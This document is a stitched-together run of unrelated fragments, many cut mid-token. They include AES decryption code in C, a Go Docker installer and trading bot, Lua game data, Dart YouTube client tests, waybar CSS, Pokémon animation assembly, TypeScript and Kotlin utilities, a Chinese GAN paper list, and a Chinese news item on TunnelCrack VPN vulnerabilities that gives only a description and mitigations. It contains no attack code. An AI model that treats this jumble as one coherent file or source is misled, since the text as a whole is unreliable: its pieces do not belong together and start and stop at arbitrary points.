        print(f"训练用时: {stats.total_time_seconds / 60:.1f} 分钟")

        return 0

    except Exception as e:
        import traceback
        print("\n训练失败:")
        traceback.print_exc()
        return 1

if __name__ == "__main__":
    sys.exit(main())


nOutModel(ITokenProvider tokenProvider)
        {
            _tokenProvider = tokenProvider;
        }

        public async Task<IActionResult> OnGet()
        {
            await HttpContext.SignOutAsync();
            _tokenProvider.ClearToken();
            return RedirectToPage("Index");
        }
    }
}


dif
	s0 = t[0]; s1 = t[1]; s2 = t[2]; s3 = t[3];
    }
    /*
	 * apply last round and
	 * map cipher state to byte array block:
	 */
	prefetch256(Td4);

	*(u32*)(out+0) =
		(Td4[(s0      ) & 0xff])	^
		(Td4[(s3 >>  8) & 0xff] <<  8) ^
		(Td4[(s2 >> 16) & 0xff] << 16) ^
		(Td4[(s1 >> 24)       ] << 24) ^
		rk[0];
	*(u32*)(out+4) =
		(Td4[(s1      ) & 0xff])	 ^
		(Td4[(s0 >>  8) & 0xff] <<  8) ^
		(Td4[(s3 >> 16) & 0xff] << 16) ^
		(Td4[(s2 >> 24)       ] << 24) ^
		rk[1];
	*(u32*)(out+8) =
		(Td4[(s2      ) & 0xff])	 ^
		(Td4[(s1 >>  8) & 0xff] <<  8) ^
		(Td4[(s0 >> 16) & 0xff] << 16) ^
		(Td4[(s3 >> 24)       ] << 24) ^
		rk[2];
	*(u32*)(out+12) =
		(Td4[(s3      ) & 0xff])	 ^
		(Td4[(s2 >>  8) & 0xff] <<  8) ^
		(Td4[(s1 >> 16) & 0xff] << 16) ^
		(Td4[(s0 >> 24)       ] << 24) ^
		rk[3];
}


(
			"Downloading and installing Docker Engine...",
			slog.String("os", runtime.GOOS),
			slog.String("arch", runtime.GOARCH),
		)
		err := installer.InstallDocker(install.InstallDockerConfig{
			Verbose: globalFlags.verbose,
		})
		if err != nil {
			slog.Error(err.Error())
			os.Exit(1)
		}
		slog.Info(
			"Docker Engine installed successfully",
			slog.String("os", runtime.GOOS),
			slog.String("arch", runtime.GOARCH),
		)
	case "darwin":
	case "windows":
		slog.Info(
			"Downloading Docker Desktop installer...",
			slog.String("os", runtime.GOOS),
			slog.String("arch", runtime.GOARCH),
		)
		err := installer.DownloadDockerDesktopInstaller(install.DownloadDockerDesktopInstallerConfig{
			ForceDownload: installCmdFlags.reinstall,
		})
		if err != nil {
			slog.Error(err.Error())
			os.Exit(1)
		}
		slog.Info(
			"Docker Desktop installer downloaded successfully",
			slog.String("os", runtime.GOOS),
			slog.String("arch", runtime.GOARCH),
		)

		slog.Info(
			"Running Docker Desktop installer...",
			slog.String("os", runtime.GOOS),
			slog.String("arch", runtime.GOARCH),
		)
		err = installer.RunDockerDesktopInstaller(install.RunDockerDesktopInstallerConfig{
			Verbose: globalFlags.verbose,
		})
		if err != nil {
			slog.Error(err.Error())
			os.Exit(1)
		}
		slog.Info(
			"Docker Desktop installed successfully",
			slog.String("os", runtime.GOOS),
			slog.String("arch", runtime.GOARCH),
		)
	}
}

func progressbarFunc(total int64, reader io.Reader) {
	progressBar := pb.Full.Start64(total)
	pbProxy := progressBar.NewProxyReader(reader)
	io.Copy(io.Discard, pbProxy)
	progressBar.Finish()
}

func ttyFunc(total int64, reader io.Reader) {
	var totalRead int64
	buffer := make([]byte, total/50)
	start := 0
	end := 50
	for totalRead <= total {
		n, _ := reader.Read(buffer)
		percentage := float64(totalRead) / float64(total) * 100

		progressTTY := strings.Repeat("#", start) + strings.Repeat(".", end)
		progressMessage := fmt.Sprintf("%s - %d%% completed\n", progressTTY, int(percentage))
		totalRead += int64(n)

		slog.Info(progressMessage)

		start++
		end--
	}

	fmt.Println(strings.Repeat("#", 50))
}
package strategies

import (
	"errors"

	"github.com/saniales/golang-crypto-trading-bot/environment"
	"github.com/saniales/golang-crypto-trading-bot/exchanges"
)

// WebsocketStrategy polls data from a websocket in real-time.
//
//     NOTE: The update function must be handled in the websocket strategy-model.
type WebsocketStrategy struct {
	Model StrategyModel
}

// Name returns the name of the strategy.
func (wss WebsocketStrategy) Name() string {
	return wss.Model.Name
}

// String returns a string representation of the object.
func (wss WebsocketStrategy) String() string {
	return wss.Name()
}

// Apply executes Cyclically the On Update, basing on provided interval.
func (wss WebsocketStrategy) Apply(wrappers []exchanges.ExchangeWrapper, markets []*environment.Market) {
	var err error

	hasSetupFunc := wss.Model.Setup != nil
	hasTearDownFunc := wss.Model.TearDown != nil
	hasUpdateFunc := wss.Model.OnUpdate != nil
	hasErrorFunc


道这些漏洞是否在野外被利用，如果有的话，也很难发现。

据悉，研究人员已经向一些VPN供应商通报了他们发现的漏洞，其中一些供应商已经修复了漏洞，但却没有在更新说明中提及（以遵守研究人员在其研究发表之前的保密要求）。

研究人员在论文的末尾提供了各种设备上经过测试的VPN应用程序的完整列表，可供用户检查自己的VPN应用/客户端是否容易受到攻击。

**缓解建议**

研究人员指出：“一些VPN产品已经修复漏洞，包括Mozilla VPN、Surfshark、Malwarebytes、Windscribe（可以导入OpenVPN配置文件）和Cloudflare的WARP。”

思科已确认其适用于Linux、macOS和Windows的思科安全客户端和AnyConnect安全移动客户端容易受到CVE-2023-36672的影响，但仅限于特定的非默认配置。Mulvad则表示只有其iOS应用程序容易受到LocalNet攻击。

如果用户的VPN安全更新不可用，研究人员给出的建议是通过禁用本地网络访问来缓解LocalNet攻击。用户还可以通过确保网站使用HTTPS来缓解攻击，现在大多数网站都支持HTTPS。

论文地址：https://papers.mathyvanhoef.com/usenix2023-tunnelcrack.pdf

原文来源：GoUpSec

“投稿联系方式：孙中豪 010-82992251   sunzhonghao@cert.org.cn”

![](https://mmbiz.qpic.cn/mmbiz_jpg/GoUrACT176n1NvL0JsVSB8lNDX2FCGZjW0HGfDVnFao65ic4fx6Rv4qylYEAbia4AU3V2Zz801UlicBcLeZ6gS6tg/640?wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1 "")

#  确定漏洞优先级排序的操作指南
NERCIS  信息安全国家工程研究中心   2023-08-22 18:10

![](https://mmbiz.qpic.cn/mmbiz_gif/jmN6xCKMlqgrzt4dPqel6GKLmYk2YeWATr1I8nX0QbK


 c.NamespaceId
	}

	starred := c.GetBoolParamFromQueryWithDefault("starred", false)

	name := c.Input().Get("name")
	if name != "" {
		param.Query["name__contains"] = name
	}

	total, err := models.AppModel.Count(param, starred, c.User.Id)
	if err != nil {
		logs.Error("get total count by param (%s) error. %v", param, err)
		c.HandleError(err)
		return
	}

	apps, err := models.AppModel.List(param, starred, c.User.Id)
	if err != nil {
		logs.Error("list by param (%s) error. %v", param, err)
		c.HandleError(err)
		return
	}

	c.Success(param.NewPage(total, apps))
	return
}

// @Title Create
// @Description create app
// @Param	body		body 	models.App	true		"The app content"
// @Success 200 return models.App success
// @router / [post]
func (c *AppController) Create() {
	var app models.App
	err := json.Unmarshal(c.Ctx.Input.RequestBody, &app)
	if err != nil {
		logs.Error("get body error. %v", err)
		c.AbortBadRequestFormat("App")
		return
	}

	app.User = c.User.Name
	_, err = models.AppModel.Add(&app)

	if err != nil {
		logs.Error("create error.%v", err.Error())
		c.HandleError(err)
		return
	}
	c.Success(app)
}

// @Title Get
// @Description find Object by id
// @Param	id		path 	int	true		"the id you want to get"
// @Success 200 {object} models.App success
// @router /:id([0-9]+) [get]
func (c *AppController) Get() {
	id := c.GetIDFromURL()

	app, err := models.AppModel.GetById(int64(id))
	if err != nil {
		logs.Error("get app by id (%d) error.%v", id, err)
		c.HandleError(err)
		return
	}

	c.Success(app)
	return
}

// @Title Update
// @Description update the App
// @Param	id		path 	int	true		"The id you want to update"
// @Param	body		body 	models.App	true		"The body"
// @Success 200 models.Namespace success
// @router /:id [put]
func (c *AppController) Update() {
	id := c.GetIDFromURL()
	var app models.App
	err := json.Unmarshal(c.Ctx.Input.RequestBody, &app)
	if err != nil {
		logs.Error("Invalid param body.%v", err)
		c.AbortBadRequestFormat("App")
	}

	app.Id = int64(id)
	err = models.AppModel.UpdateById(&app)
	if err != nil {
		logs.Error("update error.%v", err)
		c.HandleError(err)
		return
	}
	c.Success(app)
}

// @Title Delete
// @Description delete the App
// @Param	id		path 	int	true		"The id you want to delete"
// @Param	logical		query 	bool	false		"is logical deletion,default true"
// @Success 200 {string} delete success!
// @router /:id [delete]
func (c *AppController) Delete() {
	id := c.GetIDFromURL()

	logical := c.GetLogicalFromQuery()

	err := models.AppModel.DeleteById(int64(id), logical)
	if err != nil {
		logs.Error("delete %d error.%v", id, err)
		c.HandleError(err)
		return
	}
	c.Success(nil)
}
package customlink

import (
	"encoding/json"

	"github.com/Qihoo360/wayne/


0,
		sound_events_n = 1,
		sound_events = {
			[1] = "loc_veteran_female_a__oval_world_conversation_universal_hestia_nine_a_01",
		},
		sound_events_duration = {
			[1] = 3.537729,
		},
		randomize_indexes = {},
	},
	oval_world_conversation_universal_hestia_nine_c = {
		randomize_indexes_n = 0,
		sound_events_n = 1,
		sound_events = {
			[1] = "loc_veteran_female_a__oval_world_conversation_universal_hestia_nine_c_01",
		},
		sound_events_duration = {
			[1] = 4.179292,
		},
		randomize_indexes = {},
	},
	oval_world_conversation_universal_hestia_nine_e = {
		randomize_indexes_n = 0,
		sound_events_n = 1,
		sound_events = {
			[1] = "loc_veteran_female_a__oval_world_conversation_universal_hestia_nine_e_01",
		},
		sound_events_duration


    end
              if (num_specs ~= 1) then
                single_spec = nil;
              end
            end
          end
          if ((not single_spec) and trigger.use_spec and trigger.spec and trigger.spec.single) then
            single_spec = trigger.spec.single;
          end

          if (trigger.use_spec == nil) then
            single_spec = Private.ExecEnv.GetSpecialization();
          end

          -- If a single specific class was found, load the specific list for it
          if not single_class then
            single_class = select(2, UnitClass("player"))
          end
          if not single_spec then
            single_spec = Private.ExecEnv.GetSpecialization()
          end

          if(single_class and Private.pvp_talent_types_specific[single_class]
            and single_spec and Private.pvp_talent_types_specific[single_class][single_spec]) then
            return Private.pvp_talent_types_specific[single_class][single_spec];
          else
            return {}
          end
        end
      end,
      test = "WeakAuras.CheckPvpTalentBySpellId(%d)",
      enable = WeakAuras.IsRetail(),
      hidden = not WeakAuras.IsRetail(),
      events = {"PLAYER_PVP_TALENT_UPDATE"}
    },
    {
      name = "glyph",
      display = L["Glyph"],
      type = "multiselect",
      values = "glyph_types",
      sorted = true,
      sortOrder = Private.glyph_sorted or {},
      test = "WeakAuras.IsGlyphActive(%s)",
      events = {"GLYPH_ADDED", "GLYPH_REMOVED", "GLYPH_UPDATED", "USE_GLYPH"},
      enable = WeakAuras.IsMists(),
    },
    {
      name = "spellknown",
      display = L["Spell Known"],
      type = "spell",
      test = "WeakAuras.IsSpellKnownForLoad(%s, %s)",
      events = WeakAuras.IsCataOrMists() and {"SPELLS_CHANGED", "UNIT_PET", "PLAYER_TALENT_UPDATE"} or {"SPELLS_CHANGED", "UNIT_PET"},
      showExactOption = true
    },
    {
      name = "not_spellknown",
      display = WeakAuras.newFeatureString .. L["|cFFFF0000Not|r Spell Known"],
      type = "spell",
      test = "not WeakAuras.IsSpellKnownForLoad(%s, %s)",
      events = WeakAuras.IsCataOrMists() and {"SPELLS_CHANGED", "UNIT_PET", "PLAYER_TALENT_UPDATE"} or {"SPELLS_CHANGED", "UNIT_PET"},
      showExactOption = true
    },
    {
      name = "player",
      init = "arg",
      enable = false,
      hidden = true
    },
    {
      name = "realm",
      init = "arg",
      enable = false,
      hidden = true
    },
    {
      name = "guild",
      init = "arg",
      enable = false,
      hidden = true
    },
    {
      name = "namerealm",
      display = L["Player Name/Realm"],
      type = "string",
      multiline = true,
      test = "nameRealmChecker:Check(player, realm)",
      preamble = "local nameRealmChecker = Private.ExecEnv.ParseNameCheck(%q)",
      desc = constants.nameRealmFilterDesc,
    },
    {
      name = "ignoreNameRealm",
      display = L["|cFFFF0000Not|r Player Name/Realm"],
      type = "string",
      multiline = true,
      test = "not nameRealmIgnoreChecker:Check(player, realm)",
      preamble = "local nameRealmIgnoreChecker = Private.ExecEnv.ParseNameCheck(%q)",
      desc = constants.nameRealmFilterDesc,
    },
    {
      name = "guildcheck",
      display = L["Guild"],
      type = "string",
      multiline = true,
      test = "guildChecker:Check(guild)",
      preamble = "local


7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z"]},xd={prefix:"fab",iconName:"amilia",icon:[448,512,[],"f36d","M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z"]},bd={prefix:"fab",iconName:"android",icon:[576,512,[],"f17b","M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246


lode();
  });

  tearDownAll(() {
    yt?.close();
  });

  test('Get metadata of a channel', () async {
    const channelUrl =
        'https://www.youtube.com/channel/UCEnBXANsKmyj2r9xVyKoDiQ';
    final channel = await yt!.channels.get(ChannelId(channelUrl));
    expect(channel.url, channelUrl);
    expect(channel.title, 'Tyrrrz');
    expect(channel.logoUrl, isNotEmpty);
    expect(channel.logoUrl, isNot(equalsIgnoringWhitespace('')));

    // TODO: Investigate why sometimes the subscriber count is null
    if (channel.subscribersCount != null) {
      expect(channel.subscribersCount, greaterThanOrEqualTo(190));
    }
  });

  group('Get metadata of any channel', () {
    for (final val in {
      'UCqKbtOLx4NCBh5KKMSmbX0g',
      'UCJ6td3C9QlPO9O_J5dF4ZzA',
      'UCiGm_E4ZwYSHV3bcW1pnSeQ',
    }) {
      test('Channel - $val', () async {
        final channelId = ChannelId(val);
        final channel = await yt!.channels.get(channelId);
        expect(channel.id, channelId);
      });
    }
  });

  test('Get metadata of a channel by username', () async {
    final channel = await yt!.channels.getByUsername(Username('TheTyrrr'));
    expect(channel.id.value, 'UCEnBXANsKmyj2r9xVyKoDiQ');
  });

  test('Get metadata of a channel by handle', () async {
    final channel = await yt!.channels.getByHandle(ChannelHandle('@Hexer10'));
    expect(channel.id.value, 'UCqKbtOLx4NCBh5KKMSmbX0g');
  });

  test('Get metadata of a channel by a video', () async {
    final channel = await yt!.channels.getByVideo(VideoId('TW_yxPcodhk'));
    expect(channel.id.value, 'UCqKbtOLx4NCBh5KKMSmbX0g');
  }, skip: skipGH);

  test('Get the videos of a youtube channel', () async {
    final videos = await yt!.channels
        .getUploads(
          ChannelId(
            'https://www.youtube.com/channel/UCqKbtOLx4NCBh5KKMSmbX0g',
          ),
        )
        .toList();
    expect(videos.length, greaterThanOrEqualTo(6));
  });

  group('Get the videos of any youtube channel', () {
    for (final val in {
      'UCqKbtOLx4NCBh5KKMSmbX0g',
      'UCJ6td3C9QlPO9O_J5dF4ZzA',
      'UCiGm_E4ZwYSHV3bcW1pnSeQ',
    }) {
      test('Channel - $val', () async {
        final videos = await yt!.channels.getUploads(ChannelId(val)).toList();
        expect(videos, isNotEmpty);
      });
    }
  });

  test('Get videos of a youtube channel from the uploads page', () async {
    final videos =
        await yt!.channels.getUploadsFromPage('UC6biysICWOJ-C3P4Tyeggzg');
    expect(videos, isNotEmpty);
  });

  test('Get next page youtube channel uploads page', () async {
    final videos =
        await yt!.channels.getUploadsFromPage('UC6biysICWOJ-C3P4Tyeggzg');
    final nextPage = await videos.nextPage();
    expect(nextPage!.length, greaterThanOrEqualTo(20));
  });

  test('Get shorts of a youtube channel from the uploads page', () async {
    final shorts = await yt!.channels.getUploadsFromPage(


mini-search  { padding-top:-1px; line-height:1em;}
.home-spot { display:inline; }
.mini-related-items .product-details { margin-left:76px; }
.mini-related-items .product-images input { float:left; margin:-4px 2px 0 -4px; }
.mini-related-items .product-images img { float:left; }
.header-top-container { position:relative; }
#nav ul li.parent { margin-bottom:-3px;}
* {
    border: none;
    border-radius: 0px;
    font-family: "JetBrainsMono Nerd Font";
    font-weight: bold;
    font-size: ${s_fontpx}px;
    min-height: 10px;
}

@import "themes/theme.css";

window#waybar {
    background: @bar-bg;
}

tooltip {
    background: @main-bg;
    color: @main-fg;
    border-radius: ${t_radius}px;
    border-width: 0px;
}

#workspaces button {
    box-shadow: none;
	text-shadow: none;
    padding: 0px;
    border-radius: ${w_radius}px;
    margin-${x1}: ${w_margin}px;
    margin-${x2}: ${w_margin}px;
    margin-${x3}: 0px;
    padding-${x3}: ${w_paddin}px;
    padding-${x4}: ${w_paddin}px;
    margin-${x4}: 0px;
    color: @main-fg;
    animation: ws_normal 20s ease-in-out 1;
}

#workspaces button.active {
    background: @wb-act-bg;
    color: @wb-act-fg;
    margin-${x3}: ${w_margin}px;
    padding-${x3}: ${w_padact}px;
    padding-${x4}: ${w_padact}px;
    margin-${x4}: ${w_margin}px;
    animation: ws_active 20s ease-in-out 1;
    transition: all 0.4s cubic-bezier(.55,-0.68,.48,1.682);
}

#workspaces button:hover {
    background: @wb-hvr-bg;
    color: @wb-hvr-fg;
    animation: ws_hover 20s ease-in-out 1;
    transition: all 0.3s cubic-bezier(.55,-0.68,.48,1.682);
}

#taskbar button {
    box-shadow: none;
	text-shadow: none;
    padding: 0px;
    border-radius: ${w_radius}px;
    margin-${x1}: ${w_margin}px;
    margin-${x2}: ${w_margin}px;
    margin-${x3}: 0px;
    padding-${x3}: ${w_paddin}px;
    padding-${x4}: ${w_paddin}px;
    margin-${x4}: 0px;
    color: @wb-color;
    animation: tb_normal 20s ease-in-out 1;
}

#taskbar button.active {
    background: @wb-act-bg;
    color: @wb-act-color;
    margin-${x3}: ${w_margin}px;
    padding-${x3}: ${w_padact}px;
    padding-${x4}: ${w_padact}px;
    margin-${x4}: ${w_margin}px;
    animation: tb_active 20s ease-in-out 1;
    transition: all 0.4s cubic-bezier(.55,-0.68,.48,1.682);
}

#taskbar button:hover {
    background: @wb-hvr-bg;
    color: @wb-hvr-color;
    animation: tb_


T
	delay 6
	createsprite gWaterBubbleSpriteTemplate, ANIM_BATTLER_ATTACKER, 2, -20, -20, 1
	playsewithpan SE_M_BUBBLE3, SOUND_PAN_TARGET
	delay 6
	createsprite gWaterBubbleSpriteTemplate, ANIM_BATTLER_ATTACKER, 2, 16, -8, 1
	playsewithpan SE_M_BUBBLE3, SOUND_PAN_TARGET
	return

ElectricityEffect: @ 81D6100
	playsewithpan SE_M_THUNDERBOLT2, SOUND_PAN_TARGET
	createsprite gElectricitySpriteTemplate, ANIM_BATTLER_TARGET, 2, 5, 0, 5, 0
	delay 2
	createsprite gElectricitySpriteTemplate, ANIM_BATTLER_TARGET, 2, -5, 10, 5, 1
	delay 2
	createsprite gElectricitySpriteTemplate, ANIM_BATTLER_TARGET, 2, 15, 20, 5, 2
	delay 2
	createsprite gElectricitySpriteTemplate, ANIM_BATTLER_TARGET, 2, -15, -10, 5, 0
	delay 2
	createsprite gElectricitySpriteTemplate, ANIM_BATTLER_TARGET, 2, 25, 0, 5, 1
	delay 2
	createsprite gElectricitySpriteTemplate, ANIM_BATTLER_TARGET, 2, -8, 8, 5, 2
	delay 2
	createsprite gElectricitySpriteTemplate, ANIM_BATTLER_TARGET, 2, 2, -8, 5, 0
	delay 2
	createsprite gElectricitySpriteTemplate, ANIM_BATTLER_TARGET, 2, -20, 15, 5, 1
	return

ConfusionEffect: @ 81D618B
	loopsewithpan SE_M_DIZZY_PUNCH, SOUND_PAN_TARGET, 13, 6
	createsprite gConfusionDuckSpriteTemplate, ANIM_BATTLER_TARGET, 2, 0, -15, 0, 3, 90
	createsprite gConfusionDuckSpriteTemplate, ANIM_BATTLER_TARGET, 2, 0, -15, 51, 3, 90
	createsprite gConfusionDuckSpriteTemplate, ANIM_BATTLER_TARGET, 2, 0, -15, 102, 3, 90
	createsprite gConfusionDuckSpriteTemplate, ANIM_BATTLER_TARGET, 2, 0, -15, 153, 3, 90
	createsprite gConfusionDuckSpriteTemplate, ANIM_BATTLER_TARGET, 2, 0, -15, 204, 3, 90
	return

SetPsychicBackground: @ 81D61E7
	fadetobg BG_PSYCHIC
	waitbgfadeout
	createvisualtask sub_812C560, 5
	waitbgfadein
	return

BackgroundRestore: @ 81D61F3
	restorebg
	waitbgfadeout
	setarg ARG_RET_ID, -1
	waitbgfadein
	return

Unknown_81D61FB: @ 81D61FB
	jumpifcontest _81D6214
	fadetobg BG_FLYING
	waitbgfadeout
	createvisualtask sub_80E3A58, 5, -2304, 768, 1, -1
_81D6212:
	waitbgfadein
	return
_81D6214:
	fadetobg BG_FLYING_CONTESTS
	waitbgfadeout
	createvisualtask sub_80E3A58, 5, 2304, 768, 0, -1
	goto _81D6212

Unknown_81D622B: @ 81D622B
	restorebg
	waitbgfadeout
	setarg ARG_RET_ID, -1
	waitbgfadein
	return

Unknown_81D6233: @ 81D6233
	createvisualtask


Object> = ICodeDistributeProps<T, keyof T> // & IFieldTypeDistributeProps<T, keyof T>
export type IFieldCustomComponentConfig<F extends IComponentFCWithClassObject> = IFieldTypeDistributeProps<F, keyof F>
export type IFieldComponentConfig<T extends IComponentFCWithClassObject, C extends IComponentFCWithClassObject = IComponentFCWithClassObject> = IFieldSystemComponentConfig<T> | IFieldCustomComponentConfig<C>
export type IFieldConfigOutputType = 'element' | 'config' | 'function'
export interface IFieldRequiredConfig {
    // code: string
    // fieldType: IFieldType
    outputs: Array<IFieldConfigOutputType>
}
export interface IFieldPartialConfig {
    /** 渲染函数 暂时未处理使用 */
    render?: ((
        text: any,
        props: any,
        dom: JSX.Element,
    ) => JSX.Element)
    /** 是否展示字段  @default true */
    display?: boolean
}
export type IFieldSystemConfig<T extends IComponentFCWithClassObject> = (IFieldRequiredConfig & IFieldPartialConfig & IFieldSystemComponentConfig<T>)
export type IFieldCustomConfig<F extends IComponentFCWithClassObject> = (IFieldRequiredConfig & IFieldPartialConfig & IFieldCustomComponentConfig<F>)

export type IFieldConfig<T extends IComponentFCWithClassObject,
    F extends IComponentFCWithClassObject = IComponentFCWithClassObject> = IFieldSystemConfig<T> | IFieldCustomConfig<F>

type IFieldProcessConfig<T extends IComponentFCWithClassObject, C extends IComponentFCWithClassObject = IComponentFCWithClassObject> = IFieldRequiredConfig & IFieldPartialConfig & Required<Pick<IFieldPartialConfig, 'display'>> & IFieldComponentConfig<T, C> // 需要补充处理过后类型
export type IFieldOutputFunction<T> = (config: IFieldProcessConfig<T>, element?: React.ReactElement) => React.ReactElement
export type IFieldOutput<T extends IComponentFCWithClassObject> = React.ReactElement | IFieldProcessConfig<T> | IFieldOutputFunction<T>

export type ISingleOrArray<T> = T | Array<T>

interface IClassComponentType<T> extends Function {
    new(...args: any[]): T;
}
export type { IFieldProcessConfig, IClassComponentType };
import {IComputerFactory} from "../../data/protocols/i-computer-factory";
import {DellComputer} from "../../domain/models/dell-computer";
import {DellKeyboard} from "../../domain/models/dell-keyboard";
import {DellProcessor} from "../../domain/models/dell-processor";
import {DellScreen} from "../../domain/models/dell-screen";

export class DellFactory implements IComputerFactory<DellComputer> {
  createComputer(): DellComputer {
    return new DellComputer();
  }

  createKeyboard(): DellKeyboard {
    return new DellKeyboard();
  }

  createProcessor(): DellProcessor {
    return new DellProcessor();
  }

  createScreen(): DellScreen {
    return new DellScreen();
  }

}
import Client from "./client";
import ClientError from "./client-error";
import RecordIndex from "./record-index";
import RecordList, {listPropertyType} from "./record-list";

const RECORD_SENTINAL = {};
export const isRecord = (obj: any): obj is Record =>
    obj.typeSentinal_ === RECORD_SENTINAL;

export type RecordConstructor = {new (): Record};

export enum RecordType {
    "NONE" = 0,
    "RICH_TEXT" = 1,
    "IMAGE" = 2,
    "LIST" = 3,
    "CANVAS" = 4,
    "COMMENT_ANCHOR" = 5,
}

export type RecordParams = {
    data: {[key: string]: any};
    dataVersion?: number;
    constructorKey?: string;
    recordConstructor?: RecordConstructor;
    entityType?: RecordType;
    recordType?: RecordType;
    defaultText?: string;
    requestedThumbnailWidths?: number[];
};

export interface RecordPropertyDefinition {
    [property: stri


�

- **Spatially-Adaptive Pixelwise Networks for Fast Image Translation**

[Tamar Rott Shaham](https://tamarott.github.io/), [Michaël Gharbi](http://www.mgharbi.com/), [Richard Zhang](http://richzhang.github.io/), [Eli Shechtman](https://research.adobe.com/person/eli-shechtman/), [Tomer Michaeli](https://tomer.net.technion.ac.il/)

[CVPR 2021] [[Project](https://tamarott.github.io/ASAPNet_web/)]

[**ASAPNet**] [★★] (**快速图像生成**) 在小分辨率(降32倍)上预测每个pixel的MLP映射系数, 将位置信息编码为不同频率的sin, cosine信息, 提升了生成图像的细节. 论文很有实际意义, 值得学习.

- **Few-shot Image Generation via Cross-domain Correspondence**

[Utkarsh Ojha](https://utkarshojha.github.io/) , [Yijun Li](https://yijunmaverick.github.io/), [Jingwan Lu](https://research.adobe.com/person/jingwan-lu/), [Alexei A. Efros](https://people.eecs.berkeley.edu/~efros/), [Yong Jae Lee](https://web.cs.ucdavis.edu/~yjlee/), [Eli Shechtman](https://research.adobe.com/person/eli-shechtman/), [Richard Zhang](https://richzhang.github.io/)

[CVPR 2021] [[Project](https://utkarshojha.github.io/few-shot-gan-adaptation/)]  [[Pytorch-Code](https://github.com/utkarshojha/few-shot-gan-adaptation)]

- **Unsupervised Image Transformation Learning via Generative Adversarial Networks**

[Kaiwen Zha](http://kaiwenzha.github.io),  [Yujun Shen](http://shenyujun.github.io),  [Bolei Zhou](http://bzhou.ie.cuhk.edu.hk/)

[arXiv 2103] [[Project](https://genforce.github.io/trgan/)]

[**TrGAN**]

- **COCO-FUNIT: Few-Shot Unsupervised Image Translation with a Content Conditioned Style Encoder**

[Kuniaki Saito](http://ai.bu.edu/ksaenko.html), [Kate Saenko](http://cs-people.bu.edu/keisaito/), [Ming-Yu Liu](http://mingyuliu.net/)

[ECCV 2020] [[Pytorch-Code](https://github.com/nvlabs/imaginaire)]

- **Contrastive Learning for Unpaired Image-to-Image Translation**

[Taesung Park](https://taesung.me/), [Alexei A. Efros](https://people.eecs.berkeley.edu/~efros/), [Richard Zhang](https://richzhang.github.io/),  [Jun-Yan Zhu](https://www.cs.cmu.edu/~junyanz/)

[ECCV 2020] [[Project](http://taesung.me/ContrastiveUnpairedTranslation/)] [[Pytorch-Code](https://github.com/taesungp/contrastive-unpaired-translation)]

[**CUT**]

- **DeepI2I: Enabling Deep Hierarchical Image-to-Image Translation by Transferring from GANs**

[Yaxing Wang](https://yaxingwang.github.io//), [Lu Yu](https://yulu0724.github.io/), [Joost van de Weijer](http://www.cvc.uab.es/LAMP/joost/) <


-notary-composite-key"

    const val TLS_CERTIFICATE_DAYS_TO_EXPIRY_WARNING_THRESHOLD = 30
    private const val KEY_ALIAS_REGEX = "[a-z0-9-]+"
    private const val KEY_ALIAS_MAX_LENGTH = 100
    private const val CERTIFICATE_SERIAL_NUMBER_LENGTH = 16

    /**
     * Checks if the provided key alias does not exceed maximum length and
     * only contains alphanumeric characters.
     */
    fun isKeyAliasValid(alias: String): Boolean {
        if (alias.length > KEY_ALIAS_MAX_LENGTH) return false
        return KEY_ALIAS_REGEX.toRegex().matches(alias)
    }

    /**
     * The error message to be displayed to the user when the alias validation fails.
     */
    fun invalidKeyAliasErrorMessage(alias: String): String {
        return "Alias '$alias' must contain only lowercase alphanumeric characters and not exceed 100 characters length."
    }

    val DEFAULT_VALIDITY_WINDOW = Pair(0.millis, 3650.days)

    /**
     * Helper function to return the latest out of an instant and an optional date.
     */
    private fun max(first: Instant, second: Date?): Date {
        return if (second != null && second.time > first.toEpochMilli())
            second
        else
            Date(first.toEpochMilli())
    }

    /**
     * Helper function to return the earliest out of an instant and an optional date.
     */
    private fun min(first: Instant, second: Date?): Date {
        return if (second != null && second.time < first.toEpochMilli())
            second
        else
            Date(first.toEpochMilli())
    }

    /**
     * Helper method to get a notBefore and notAfter pair from current day bounded by parent certificate validity range.
     * @param before duration to roll back returned start date relative to current date.
     * @param after duration to roll forward returned end date relative to current date.
     * @param parent if provided certificate whose validity should bound the date interval returned.
     */
    fun getCertificateValidityWindow(before: Duration, after: Duration, parent: X509Certificate? = null): Pair<Date, Date> {
